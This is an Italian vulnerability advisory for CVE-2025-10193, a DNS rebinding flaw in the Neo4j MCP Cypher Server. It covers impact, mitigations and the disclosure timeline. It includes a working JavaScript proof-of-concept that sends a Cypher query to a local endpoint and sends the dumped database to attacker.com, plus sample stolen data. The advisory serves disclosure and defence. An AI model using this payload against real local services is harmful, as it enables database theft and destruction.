Il Neo4j MCP Cypher Server è vulnerabile alla compromissione del database tramite DNS rebinding
Autore: Evan Harris
Componente interessato: Neo4j MCP Cypher Server
Versioni vulnerabili: da 0.2.2 a 0.3.1
CVE: CVE-2025-10193
Punteggio CVSS 4.0: 7.4 (Alto) - CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:A/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
Panoramica
Il Neo4j MCP Cypher Server fornisce un endpoint HTTP per l’esecuzione di query Cypher su un database Neo4j.
MCPSec ha scoperto una vulnerabilità di DNS rebinding nel server che consente ad attaccanti remoti di aggirare le politiche di sicurezza del browser ed eseguire query Cypher arbitrarie sull’istanza di database accessibile tramite MCP.
Neo4j ha risolto questo problema nella release v0.4.0. Tutti gli utenti delle versioni interessate dovrebbero aggiornare immediatamente.
Altri strumenti trattati su questo sito presentano lo stesso problema: Vulnerabilità di DNS rebinding nel trasporto SSE del Vet MCP Server e Esfiltrazione e distruzione di dati in MLflow per mancata validazione dell’Origin (DNS rebinding).
Impatto
Gli attaccanti ottengono accesso POST completo all’endpoint /api/mcp servito dal Neo4j MCP Cypher Server locale.
Questo consente l’esecuzione non autorizzata di qualsiasi query Cypher, garantendo di fatto all’attaccante il pieno controllo amministrativo sul database Neo4j. Ciò può portare a:
- Esfiltrazione completa di informazioni sensibili archiviate nel database.
- Modifica non autorizzata dei dati o corruzione.
- Cancellazione dei dati e denial of service.
L’attacco di DNS rebinding può essere eseguito entro pochi secondi dalla visita di una vittima a un sito web malevolo e richiede unicamente che il server vulnerabile sia in esecuzione localmente.
Proof of Concept
Lo scenario di attacco presuppone quanto segue:
- La vittima esegue una versione vulnerabile del Neo4j MCP Cypher Server sul proprio computer locale.
- La vittima naviga verso un sito web malevolo controllato dall’attaccante.
- Il sito web esegue un attacco di DNS rebinding, inducendo il browser della vittima a inviare comandi al server Neo4j.
Una volta completato il rebinding, l’attaccante può utilizzare il browser della vittima per inviare query Cypher malevole all’endpoint locale /api/mcp. I dati possono quindi essere esfiltrati verso il server dell’attaccante, oppure possono essere manipolati ed eliminati.
MCPSec ha eseguito un attacco proof of concept seguendo questi passaggi:
-
Distribuire un’applicazione di DNS rebinding (ad esempio Singularity of Origin).
-
Costruire un payload JavaScript servito dal sito web malevolo per eseguire una query ed esfiltrare i dati.
const Neo4jRebind = () => {
// The core attack function. It sends a malicious Cypher query.
function attack(headers, cookie, body) {
const maliciousQuery = 'MATCH (n) RETURN n LIMIT 100'; // Query to dump all nodes
fetch('http://localhost:8000/api/mcp', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'Accept': 'application/json, text/event-stream',
'Connection': 'keep-alive',
'Cache-Control': 'no-cache'
},
body: JSON.stringify({ query: maliciousQuery })
}).then(response => {
const ATTACKER_SERVER = 'https://attacker.com/steal-neo4j-data';
response.text().then(databaseContents => {
// Send the stolen database contents to the attacker's server
fetch(ATTACKER_SERVER, {
method: 'POST',
body: JSON.stringify(databaseContents)
});
}).catch(e => console.error('Failed to parse Neo4j response', e));
}).catch(e => console.error("Failed to post Cypher query", e));
}
// Function to check if the rebound service is the target Neo4j server
async function isService(headers, cookie, body) {
try {
const response = await fetch(`http://localhost:8000/`, { mode: 'no-cors' });
// A successful ping (even opaque) suggests the port is open.
return true;
} catch (e) {
return false;
}
}
return {
attack,
isService
}
}
Registry["Neo4jRebind"] = Neo4jRebind();
- Eseguire un server di raccolta dati per ricevere la richiesta POST contenente il contenuto rubato del database.
Di seguito è riportato un esempio dei dati JSON esfiltrati dal database di una vittima, contenenti informazioni utente potenzialmente sensibili.
{
"results": [
{
"columns": ["n"],
"data": [
{
"row": [
{
"name": "Evan Harris",
"email": "evan.harris@example.com",
"role": "admin",
"password_hash": "sha256:abc123def456..."
}
],
"meta": [{...}]
},
{
"row": [
{
"project": "Project Titan",
"api_key": "neo-secret-key-xyz789",
"status": "active"
}
],
"meta": [{...}]
}
]
}
],
"errors": []
}
Mitigazioni consigliate
Per gli utenti (immediato)
- Aggiornare immediatamente a
mcp-neo4j-cypherversione v0.4.0 o successiva. Questa versione contiene la patch che valida l’header HTTPHostper prevenire questo attacco. - Se non è possibile aggiornare, passare da HTTP a stdio. In alternativa, collocare un filtro delle richieste di rete davanti al proprio Neo4j Cypher MCP Server per difendersi dagli header host non validi.
Questa vulnerabilità è stata segnalata al team di Neo4j secondo le pratiche di divulgazione responsabile. Il team ha risposto rapidamente per validare e correggere il problema.
Cronologia della divulgazione
- 2025-09-08: Neo4j conferma la ricezione della segnalazione.
- 2025-09-09: Neo4j riconosce il rischio del vettore di attacco.
- 2025-09-09: Fornite al team di Neo4j indicazioni dettagliate ed esempi di correzione.
- 2025-09-09: Neo4j apre una pull request con misure difensive.
- 2025-09-11: Viene rilasciata la versione corretta v0.4.0.
- 2025-09-11: Viene assegnato CVE-2025-10193 e pubblicato il GitHub Security Advisory.
- 2025-09-12: Concordata la data di pubblicazione dell’avviso tecnico.
- 2025-10-13: Avviso tecnico pubblicato.
Conclusione
La vulnerabilità di DNS rebinding nel Neo4j MCP Cypher Server evidenzia un elevato rischio di sicurezza per gli strumenti di sviluppo che espongono interfacce locali di database. Pur offrendo potenti funzionalità locali, questi servizi possono diventare una porta d’accesso per attacchi basati sul web se non adeguatamente protetti. Ciò può portare alla compromissione completa di dati sensibili.
Complimenti al team di Neo4j per la risposta professionale e rapida nel correggere questa vulnerabilità. Tutti gli utenti del componente interessato dovrebbero aggiornare all’ultima versione per garantire la protezione dei propri dati.